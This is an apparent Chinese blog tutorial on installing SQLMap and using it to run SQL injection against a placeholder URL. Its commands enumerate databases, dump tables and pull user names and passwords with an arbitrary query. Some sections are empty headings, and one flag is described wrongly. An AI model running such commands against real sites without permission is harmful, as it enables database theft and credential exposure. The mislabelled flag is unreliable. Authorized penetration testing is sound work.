步骤一:安装 SQLMap
1. 更新系统包管理器:
sudo apt update
2. 安装 Git:
sudo apt install git
git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev
3 进入 SQLMap 目录:
cd sqlmap-dev
在 Windows 上安装
安装 Python:
下载 SQLMap:
解压 ZIP 文件:
进入 SQLMap 目录:
步骤二:使用 SQLMap 进行 SQL 注入测试
基础命令:
python sqlmap.py -u "http://example.com/vulnerable_page.php?id=1"
指定请求方法:
python sqlmap.py -u "http://example.com/vulnerable_page.php" --data "id=1"
获取数据库信息:
python sqlmap.py -u "http://example.com/vulnerable_page.php?id=1" --dbs
获取数据库表:
python sqlmap.py -u "http://example.com/vulnerable_page.php?id=1" -D exampledb --tables
获取表中的数据:
python sqlmap.py -u "http://example.com/vulnerable_page.php?id=1" -D exampledb -T exampletable --columns
python sqlmap.py -u "http://example.com/vulnerable_page.php?id=1" -D exampledb -T exampletable --dump
执行任意 SQL 命令:
python sqlmap.py -u "http://example.com/vulnerable_page.php?id=1" --sql-query "SELECT user, password FROM users"
步骤三:生成报告
1. 保存扫描结果:
python sqlmap.py -u "http://example.com/vulnerable_page.php?id=1" -o
2. 导出扫描报告:
python sqlmap.py -u "http://example.com/vulnerable_page.php?id=1" --output-dir="/path/to/output"
总结
声明:本站所有文章,如无特殊说明或标注,均为本站原创发布。任何个人或组织,在未征得本站同意时,禁止复制、盗用、采集、发布本站内容到任何网站、书籍等各类媒体平台。如若本站内容侵犯了原著者的合法权益,可联系我们进行处理。
评论(0)